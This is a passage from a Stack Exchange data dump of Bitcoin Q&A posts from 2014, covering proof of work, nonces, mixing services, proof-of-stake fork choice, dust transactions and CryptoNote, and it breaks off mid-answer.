  <row Id="29824" PostTypeId="2" ParentId="29822" CreationDate="2014-08-01T10:26:57.667" Score="3" Body="&lt;p&gt;PoW, apart from securing the network, also provides a way to democratically distribute the initial coins. For systems like Ripple there's no real democratic way of distributing the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a comment by D. Schwartz specifically on this matter: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21057/bitcoin-without-mining#comment23911_21057&quot;&gt;Bitcoin without mining&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-08-01T10:26:57.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29825" PostTypeId="2" ParentId="29823" CreationDate="2014-08-01T10:34:18.783" Score="3" Body="&lt;p&gt;No it is not predictable. If it was that would break how block discovery works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain in very broad terms: a nonce is simply an incrementing number. It is combined with a random set of as yet unconfirmed transactions and passed through a simple hashing algorithm, which turns it into a long number called a hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's this answer (the hash) that has to match the test : it needs to begin with a certain number of zeros for the block of transactions to have been considered &quot;discovered&quot;, and hence confirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not match this test, the nonce is incremented by and the process begins again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the fact that the number and content of the transactions combined with the nonce supplies the &lt;em&gt;essential unpredictability&lt;/em&gt; of the process, meaning that ultimately nobody can say which miner will find the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is quite a heavy computing task (to continuously try new nonces and transactions until you find the block) the nonce also serves another purpose : to help other bitcoin nodes take a shortcut to check if the block you claim you discovered is correct. They simply need to take all the transactions in the block (you have to tell them which ones) and use the nonce to arrive at the correct Hash with the right number of zeros. This by contrast is a very light computing task. &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-08-01T10:34:18.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29827" PostTypeId="2" ParentId="3066" CreationDate="2014-08-01T11:57:36.743" Score="1" Body="&lt;p&gt;The main problem with Bitcoin anonymity is that every transaction is publicly logged by design. Anyone can view the flow of Bitcoins from address to address in the blockchain. This data alone cannot be used to identify you because the addresses are just random numbers, but if any of the addresses in a transaction's future or past history can be backtraced to a real identity, it may be possible to find out who owns all the other addresses. Such identity information could be derived from network analysis, surveillance, or a quick google search for the bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the list of mixing servises, use them to avoid compromising of privacy and security. Mixing services provide to periodically exchange your bitcoins for different ones which cannot be associated with the original owner.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mixing_service&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mixing_service&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18828" LastActivityDate="2014-08-01T11:57:36.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29829" PostTypeId="2" ParentId="25365" CreationDate="2014-08-01T12:05:57.460" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://anonymity.co.in/&quot; rel=&quot;nofollow&quot;&gt;http://anonymity.co.in/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a decentralized peer-to-peer currency, but many people mistakenly believe that Bitcoin is fully anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem with Bitcoin anonymity is that every transaction is publicly logged by design. Anyone can view the flow of Bitcoins from address to address in the blockchain. This data alone cannot be used to identify you because the addresses are just random numbers, but if any of the addresses in a transaction's future or past history can be backtraced to a real identity, it may be possible to find out who owns all the other addresses. Such identity information could be derived from network analysis, surveillance, or a quick google search for the bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you buy bitcoins using an exchanger, the bitcoins you purchase can be traced back to the exchanger, which may have your real identity information on file, including banking data. All exchanges require the user to scan ID documents, and large transactions must be reported to the proper governmental authority. When you use Bitcoin to pay for goods and services, you will of course need to provide your name and address to the seller for delivery purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A mixing service can be used to mix one's funds with others' or with MIXER's reserve, with the intention of confusing the trail back to the funds' original source. Mixing helps protect privacy, but can also be used for money laundering - mixing illegally obtained funds. After laundering, the funds appear legitimate. Mixing large amounts of money may be illegal, being in violation of anti-structuring laws.&lt;/p&gt;&#xA;" OwnerUserId="18828" LastActivityDate="2014-08-01T12:05:57.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29830" PostTypeId="2" ParentId="9947" CreationDate="2014-08-01T12:13:47.403" Score="0" Body="&lt;p&gt;Using anonymously run service is always a risk. Not legally dangerous, but if you are trusting to wrong party you'll lose your bitcoins.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, some the Bitcoin mixing services have turned out to be selective scams. They let small transactions to go through, but on the first large transaction they keep the bitcoins and disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, search &quot;bitlaunder&quot; on bitcointalk.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rather would recommend using some of the shared web wallets (CoinBase, LocalBitcoins) for mixing.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-08-01T12:13:47.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29831" PostTypeId="2" ParentId="29774" CreationDate="2014-08-01T12:36:06.570" Score="2" Body="&lt;p&gt;In case of fork, according to &lt;a href=&quot;https://archive.org/stream/PPCoinPaper/ppcoin-paper_djvu.txt&quot; rel=&quot;nofollow&quot;&gt;whitepaper&lt;/a&gt;, the chain with highest consumed coin age wins:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The protocol for determining which competing block chain wins as main&#xA;  chain has been  switched over to use consumed coin age. Here every&#xA;  transaction in a block contributes its consumed coin age to the score&#xA;  of the block. The block chain with highest total consumed coin age is&#xA;  chosen as main chain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In actual implementation, sightly &lt;a href=&quot;https://github.com/ppcoin/ppcoin/blob/5ace24f056a06e37352c0dd861be8ab195aceaf8/src/main.h#L1269&quot; rel=&quot;nofollow&quot;&gt;more complicated algorithm&lt;/a&gt; based on PoS difficulty is used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PoS_block_trust = 2^256 / (target+1)&#xA;PoW_block_trust = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the chain with highest total &quot;trust&quot; is preferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer to your question is: PoS block wins.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2014-08-01T12:36:06.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29832" PostTypeId="1" CreationDate="2014-08-01T12:42:39.307" Score="1" ViewCount="122" Body="&lt;p&gt;Hello i cannot find solution on this issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On address &lt;a href=&quot;https://btc-e.com/api/2/btc_usd/depth&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/btc_usd/depth&lt;/a&gt; is json list from btc-e api.&#xA;I'm searching for solution parse only new values from json list and store to the database.&#xA;There isn't any identifier, but only values.&#xA;I'm using MySQL + PHP.&#xA;Is there any solution to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18829" LastActivityDate="2014-08-01T12:42:39.307" Title="How to find new values from json file in btc-e api" Tags="|btce|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29833" PostTypeId="2" ParentId="29822" CreationDate="2014-08-01T13:23:35.660" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is it not designed in a way to use consensus algorithms what ripple uses?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A consensus algorithm requires that you can trust contributing nodes. Otherwise, you're open to a &lt;a href=&quot;https://en.wikipedia.org/wiki/Sybil_attack&quot; rel=&quot;nofollow&quot;&gt;Sybil attack&lt;/a&gt;, where an attacker creates many dummy nodes. Ripple was built on the idea that you can establish trust in some entities, trust that they will &lt;a href=&quot;https://ripple.com/wiki/Consensus&quot; rel=&quot;nofollow&quot;&gt;not collude&lt;/a&gt; to defraud you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of work, as Bitcoin uses, has some advantages over this: proof of work does not require trust of any kind, and it doesn't require that you know anybody's true identities. Instead, you trust the proof that someone put a lot of work (time/money) behind establishing a block. Since Bitcoin aims to be a completely trustless, decentralized network, that allows some anonymity, it makes sense to use proof of work in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, proof of work also has some disadvantages: a slow block time (say, a minute or more, to keep the orphan rate low) is necessary, which slows confirmations. It can be overtaken by someone controlling &gt;50% of the network's hash rate. And it results in work just for the sake of work, wasting electricity. Also, while ideally each user/node would have an equal share (just their own CPU), ASICs (and their predecessors) instead focus this control in more-centralized miners.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-08-01T13:32:07.473" LastActivityDate="2014-08-01T13:32:07.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29834" PostTypeId="2" ParentId="29815" CreationDate="2014-08-01T14:59:18.967" Score="11" Body="&lt;p&gt;[&lt;strong&gt;Note&lt;/strong&gt;: This answers the question as written and at the time it was written (and for quite some time afterwords). See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38913/3364&quot;&gt;a later answer&lt;/a&gt; for the current state.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/stellar&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stellar code&lt;/a&gt; is a straight fork of Ripple with mostly trivial changes. It does have certain controversial features omitted (I assume on purpose) such as &lt;a href=&quot;https://ripple.com/wiki/Freeze&quot; rel=&quot;nofollow noreferrer&quot;&gt;freezing&lt;/a&gt;. From a server and protocol perspective it has the exact same strengths (and weaknesses!) as Ripple does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client appears to have have had much functionality hidden/removed. For example it's currently impossible to set up trust lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The internal &quot;currency&quot; (transaction tokens) has been renamed from XRP (ripples) to STR (stellars). Sadly, &quot;STR&quot; doesn't even attempt to be &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_4217&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISO 4217&lt;/a&gt; compatible.&#xA;The STR distribution model differs from the XRP distribution model including an &quot;inflation&quot; feature whereby new STR is issued (and for the foreseeable future, goes to the &quot;Steller Development Foundation&quot;).&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-10-20T22:06:36.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29835" PostTypeId="2" ParentId="8430" CreationDate="2014-08-01T15:04:28.463" Score="0" Body="&lt;p&gt;Here is nice statistics &lt;a href=&quot;http://webbtc.com/stats&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/stats&lt;/a&gt; of different script type&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-01T15:04:28.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29836" PostTypeId="2" ParentId="29823" CreationDate="2014-08-01T15:14:32.467" Score="1" Body="&lt;p&gt;When it's used &lt;a href=&quot;https://en.bitcoin.it/wiki/Nonce&quot; rel=&quot;nofollow&quot;&gt;as it's intended to&lt;/a&gt;, the nonce usually begins at a certain point and increments from there. This can restart every second, since there is a second-specific timestamp in the block, but modern ASICs can do far more than 2^32 hashes per second, so it seems reasonable that nonces should be distributed fairly evenly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;may a miner force a mined block to have a specific nonce? (if his hashrate allows him to)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. He'd do this by fixing his block header's nonce and changing transactions instead (the coinbase transaction, a.k.a. block reward, is a perfect place for this); by changing any transaction, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow&quot;&gt;Merkle root&lt;/a&gt; in the block header will change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual mining loop only takes two SHA256 hashes per attempt. If you only include the coinbase transaction in your block, this will add (at least; I'm unsure if it'd have to fill out 1 to be an even number, as it does for 3) two SHA256 hashes per attempt, meaning you'd be (at least) twice as slow as normal. I'm also unsure whether existing ASICs are capable of doing this different calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of hashes would grow with (proportional to the logarithm of) the number of transactions in the block. If you include just 2 more transactions (so I can mirror the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot; rel=&quot;nofollow&quot;&gt;example at the wiki&lt;/a&gt;). You'd have to do 3 double-hashes to rebuild the Merkle root (there are 7 double-hashes total, but some of them could be reused) before your double-hash of the block header, for a total of 8 SHA256 hashes (1/4th your normal speed).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-08-01T15:44:55.463" LastActivityDate="2014-08-01T15:44:55.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29839" PostTypeId="1" AcceptedAnswerId="29840" CreationDate="2014-08-01T16:17:20.673" Score="1" ViewCount="1080" Body="&lt;p&gt;What does this blockchain.info alert mean?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning! this bitcoin address contains transactions which may be double spends. You should be extremely careful when trusting any transactions to or from this address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I got my first payout today from Slush pool, and &lt;a href=&quot;https://blockchain.info/en/address/1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&quot; rel=&quot;nofollow&quot;&gt;one of the the inputs&lt;/a&gt; of &lt;a href=&quot;https://blockchain.info/pt/tx/84def4d8edcb74ab8c569d2137c4893b357f600d6c91937fbbcd938e3f008aa0&quot; rel=&quot;nofollow&quot;&gt;the transaction&lt;/a&gt; showed this message. Is that something I should worry about? As of this writing, the transaction has already 54 confirmations.&lt;/p&gt;&#xA;" OwnerUserId="5887" LastActivityDate="2014-08-01T19:06:53.817" Title="Warning about possible double spend at blockchain.info" Tags="|blockchain.info|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29840" PostTypeId="2" ParentId="29839" CreationDate="2014-08-01T17:59:04.297" Score="3" Body="&lt;p&gt;As long as you wait for 6 or more confirmations, your coins are safe. Waiting for 6 confirmations would make it quite difficult for Slush to pull ahead of the rest of the network with their own chain, and make it quite apparent if they did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if Slush is really attempting double-spends, it really wouldn't make much sense to do so on a miner payout. It would make sense for many sorts of transactions (instant-payout gambling sites, digital or physical goods, etc.) but not to compensate you on &lt;em&gt;work you already did&lt;/em&gt; for them (if they wanted to play that game, it'd be far easier to simply never pay you). All that would give them is miners that want to leave because they're being cheated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more likely double-spend scenario would be as described at the &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/279sex/ghashio_double_spending/&quot; rel=&quot;nofollow&quot;&gt;GHash.IO &amp;amp; double spending&lt;/a&gt; post on Reddit. In short, it is believed that GHash.IO executed double spends against a Bitcoin-based betting site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also important to note that blockchain.info's information on double spends being attempted could very well be misinterpreted (e.g. maybe an orphaned block, with a later payout, would result in the warning you see). &lt;a href=&quot;https://blockchain.info/en/address/1AqTMY7kmHZxBuLUR5wJjPFUvqGs23sesr&quot; rel=&quot;nofollow&quot;&gt;That address&lt;/a&gt; has a very long history.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-08-01T19:06:53.817" LastActivityDate="2014-08-01T19:06:53.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29844" PostTypeId="1" CreationDate="2014-08-03T07:38:36.923" Score="5" ViewCount="184" Body="&lt;p&gt;In Bitcoin Core the transaction id is appended with a dash and three numbers. They are usually 000. What do those numbers mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: b75b91ffc4b6f22b779ce45e4b140cf1d29dc894e368e3d8389c42444f870d5d-&lt;strong&gt;000&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="18839" LastActivityDate="2014-08-03T11:34:26.240" Title="Three numbers after dash in transaction id" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29846" PostTypeId="2" ParentId="29844" CreationDate="2014-08-03T11:34:26.240" Score="2" Body="&lt;p&gt;It's the index of the output in the transaction that credits you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit of an unused format; typically ':n' is used, rather than '-nnn'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because an entry in the transaction ledger doesn't really corresponding to one transaction, but to one output of it. For example, a transaction could have multiple outputs that all credit you.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-03T11:34:26.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29847" PostTypeId="1" CreationDate="2014-08-03T13:52:33.870" Score="2" ViewCount="126" Body="&lt;p&gt;Lets say an address has 150 unspent BTC, and I want to transfer 50 BTC to someone else, can I send the remainder (100 BTC) back to the original address? Is this impossible, a bad idea or something that isn't done very often for some other reason?&lt;/p&gt;&#xA;" OwnerUserId="3293" LastActivityDate="2014-08-03T19:27:59.257" Title="When spending a fraction of the coins in an address, can I send the remainder back to the same address?" Tags="|protocol|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ClosedDate="2014-08-03T23:18:11.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="29849" PostTypeId="2" ParentId="12746" CreationDate="2014-08-03T14:43:55.717" Score="17" Body="&lt;p&gt;At the protocol level, there is no such thing as &quot;balance of an address&quot;. There are individual unspent outputs (like coins in a wallet), which must be individually spent. You can't partially spend an output, but you can split/combine it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, you have a 70 BTC output assigned to an address, and a 80 BTC output assigned to the same address. Some software will show this as 150 BTC balance of that address, but you still need to know the individual outputs to spend them. If you want to send 100 BTC to someone, you would consume those two outputs in a transaction, and create two new outputs using it, a 100 BTC one (to the recipient) and a 50 BTC one (back to yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you use a new address for that 50 BTC &quot;change&quot; output doesn't matter to the protocol. You can reuse the old one, but will make it obvious to everyone in the world which who was the sender and who was the recipient in the transaction. Using a fresh address improves privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seen otherwise: reusing the same address may look convenient, as it allows you (and software you use) to more easily distinguish what your balance is, but it does this at the cost of making it obvious to everyone in the world. This hurts Bitcoin's privacy - not just yours, but that of everyone in the system.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-08-03T14:43:55.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29851" PostTypeId="1" CreationDate="2014-08-03T20:54:41.100" Score="7" ViewCount="895" Body="&lt;p&gt;I think I understand Proof of Stake and Proof of Work from a conceptual point now. For themselves both are good ideas for sure, but how would a crypto currency like Peercoin (PPC) combine both of them? I mean, when active clients are waiting for the stake and they are contesting against others, there are also at the same time the normal miners using Proof of Work, calculating hashes.&#xA;How is it then decided who will actuallly create and publish the next block? Some kind of prioritisation must be built into the currency. But then again, when some Proof of Work is done the block will have the threshold included for calculating the next hash. What is to be included by Proof of Stake clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope to get how that connection works, that would be brilliant if someone could explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18845" LastEditorUserId="5371" LastEditDate="2018-08-31T22:11:35.040" LastActivityDate="2019-11-16T23:00:50.087" Title="How does a mix between Proof of Work/Stake work? (Peercoin)" Tags="|proof-of-work|proof-of-stake|peercoin|" AnswerCount="2" CommentCount="2" ClosedDate="2019-11-21T00:53:29.527" ContentLicense="CC BY-SA 4.0" />
  <row Id="29854" PostTypeId="1" CreationDate="2014-08-04T05:29:55.953" Score="2" ViewCount="422" Body="&lt;p&gt;What is the projected block chain growth over time and could an attack on Bitcoin be lauched that creating an enourmous number of micro-transations to fracture the currency (e.g. spamming the system with valid nuisance transactions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot believe the pruning the blockchain makes any sense (ultimate source of the bitcoins would be obscured requiring use of post-pruned bitcoins to be trusted as if these were mined at the time of the pruning)... and I cannot see using some sort of distributed storage working (trust and centralization of information concerns).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even if pruning were possible - it seems to me that a concerted attack would still be able to overwhelm the system in a relatively short time... because transaction generation is cheap as compared to validating these spamish transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an overall implied governance on the system for the number of transactions that can be processed in any period? e.g. the number of systems solving transaction validation problems versus the number of transactions injected into the system... and as the volume of transactions that are needed to for validation, some (many?) systems might become overwhelmed and unable to store / process the blockchain... but even in the case of legitimate growth in utilization I think about large international retailers who process billions of transactions per day what would the breaking point be should a sudden shift to bitcoin occur? e.g. what are the on-boarding costs for the bitcoin network for new retailers?&lt;/p&gt;&#xA;" OwnerUserId="18852" LastActivityDate="2020-04-15T08:43:20.413" Title="Blockchain growth projections and risks" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29855" PostTypeId="2" ParentId="29854" CreationDate="2014-08-04T08:35:18.470" Score="1" Body="&lt;p&gt;There's a maximum block size (in bytes). So growth is limited to a linear growth and pretty predictable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spamming the network is very expensive because the spammer would be paying a lot of fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current blockchain size is not that bad: it fits on a simple SD card if you want. And storing it on a harddisk costs cents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pruning can be done in such a way that there is very (very!) little room for manipulation. Everything is cryptographically provable. And there will always be full nodes around that do keep the full history and can check everything. Others would probably be able to query those nodes to provably check the complete path of particular coins. If you can do that on a even a random subset of coins, you can be pretty darn sure there was no manipulation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your last paragraph indicates that you don't fully understand the block validation and mining process (like the maximum block size and only 1 block every ten minutes on average). Maybe you need to look into that some more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding scaling the network up: there's still quite a bit of room in the current block size configuration, but the developers can fairly easily increase that maximum.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-08-04T08:35:18.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29856" PostTypeId="1" AcceptedAnswerId="29857" CreationDate="2014-08-04T09:59:30.620" Score="17" ViewCount="4366" Body="&lt;p&gt;So I have a &lt;a href=&quot;https://blockchain.info/address/1Hy8LSovPiT3Z4qF7Hr2piJXZFHzpSBaEK&quot;&gt;wallet&lt;/a&gt; which has a balance of BTC 0.00005493.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when trying to send these last bitcoin with a custom tx fee (1000 satoshi vs. the recommended 10000) Blockchain.info gives an error saying it is not possible to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use a script called &lt;a href=&quot;https://github.com/petertodd/dust-b-gone&quot;&gt;Dust-B-Gone&lt;/a&gt; to &lt;em&gt;destroy&lt;/em&gt; these &quot;small&quot; amounts of bitcoin but I don't see the point. Why make bitcoins so divisible if anything under 10000 satoshi cannot even be moved around freely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10000 satoshi is the current equivalent of a USD/EUR 5 cents coin! Are they not worth anything in cyberspace?&lt;/p&gt;&#xA;" OwnerUserId="4525" LastActivityDate="2014-08-04T13:17:20.930" Title="Why does bitcoin have so many digits if I cannot move anything freely under 10000 satoshi?" Tags="|transaction-fees|satoshi|dust|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29857" PostTypeId="2" ParentId="29856" CreationDate="2014-08-04T10:37:30.710" Score="16" Body="&lt;p&gt;My assumption is that the limitation is set by BlockChain.info itself, to protect the non-educated users for doing transactions which may take days to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However raw Bitcoin protocol supports transaction with any amount and any fee. But because transactions are confirmed by miners they might not have economical incentive to care about dust-like transactions and thus the transaction confirmation time might not make sense anymore for the person who does the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/17830/whats-the-minimum-transaction-with-bitcoin&quot;&gt;What&amp;#39;s the minimum transaction with bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin transaction fee future:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinfoundation.org/2014/07/floating-fees-for-0-10/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinfoundation.org/2014/07/floating-fees-for-0-10/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More discussion about Bitcoin and microtransactions: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=397403.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=397403.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-08-04T10:37:30.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29858" PostTypeId="2" ParentId="29856" CreationDate="2014-08-04T10:38:04.780" Score="12" Body="&lt;p&gt;In the future, these small amounts of Bitcoins may be worth more. Right now, they're not worth the cost to transfer them. Bitcoin payments are a shared, public resource.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-08-04T10:38:04.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29859" PostTypeId="2" ParentId="21428" CreationDate="2014-08-04T13:05:32.453" Score="-1" Body="&lt;p&gt;Try &lt;a href=&quot;https://cryptonotestarter.org/&quot; rel=&quot;nofollow&quot;&gt;cryptonotestarter.org&lt;/a&gt;. If you are not familiar with CryptoNote platform, it allows for creation of completely anonymous cryptocurrencies (not Bitcoin forks). So far there are about 10 cryptocoins that were created with this technology. Bytecoin (BCN) was the first one launched in 2012 with a few forks spinning off within last two years. CryptoNoteStarter is a useful tool if you want to create your own CryptoNote-based coin. The interface is pretty simple, it looks like step-by-step guide that walks you through the stages of development.&lt;/p&gt;&#xA;" OwnerUserId="18678" LastEditorUserId="18678" LastEditDate="2014-09-02T08:45:31.587" LastActivityDate="2014-09-02T08:45:31.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29860" PostTypeId="2" ParentId="29856" CreationDate="2014-08-04T13:17:20.930" Score="1" Body="&lt;p&gt;Also you might consider that setting the precision of the currency below the minimum transaction level confers resistance to &lt;a href=&quot;http://en.wikipedia.org/wiki/Salami_slicing&quot; rel=&quot;nofollow&quot;&gt;Salami Slicing&lt;/a&gt; fraud attempts. (Also known as Penny Shaving, see linked article for more information).&lt;/p&gt;&#xA;" OwnerUserId="18854" LastActivityDate="2014-08-04T13:17:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29861" PostTypeId="1" CreationDate="2014-08-04T14:24:16.520" Score="4" ViewCount="800" Body="&lt;p&gt;How does CryptoNote prevent a 51% attack and double-spending?&#xA; I’m interested to know what is the mechanism that protects CryptoNote coins from 51% and double-spending attacks.&lt;/p&gt;&#xA;" OwnerUserId="18858" LastEditorUserId="5406" LastEditDate="2015-06-09T20:43:48.393" LastActivityDate="2017-06-24T13:50:49.250" Title="How does CryptoNote prevent a 51% attack and double-spending?" Tags="|security|doublespend|majority-attack|cryptonote|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29862" PostTypeId="2" ParentId="29861" CreationDate="2014-08-04T15:47:46.353" Score="3" Body="&lt;p&gt;The debates still remain whether 51% should be cause for concern. CryptoNote is protected against it in the same way Bitcoin deals with the issue. One difference is in that CryptoNote-based coins, especially the first ones such as Bytecoin (BCN), use egalitarian PoW (CryptoNight) which makes the coin CPU-minable and ASIC resistant. CryptoNight allows for fairer hashrate distribution among individual miners and ensures smooth currency emission. When it comes to mining pools, in theory, having comprised more than 50% of the coin’s network one might be able to affect the next few blocks, launching a double-spending attack by holding on to enough power to confirm the majority of transactions. However, this would take a huge amount of expense and the data about the double-spending taking place would likely appear on the block chain for all to see. Moreover, such an attack could possibly destroy the integrity of the system as a whole, causing the price to crash. This is not something anyone with a vested interest in the affected coin would want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the double-spending problem, CryptoNote deals with it by employing ring signatures and key images. If a rogue user creates more than one ring signature using the same private key, these signatures will be linked together which indicates a double-spending attempt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to provide linkability, 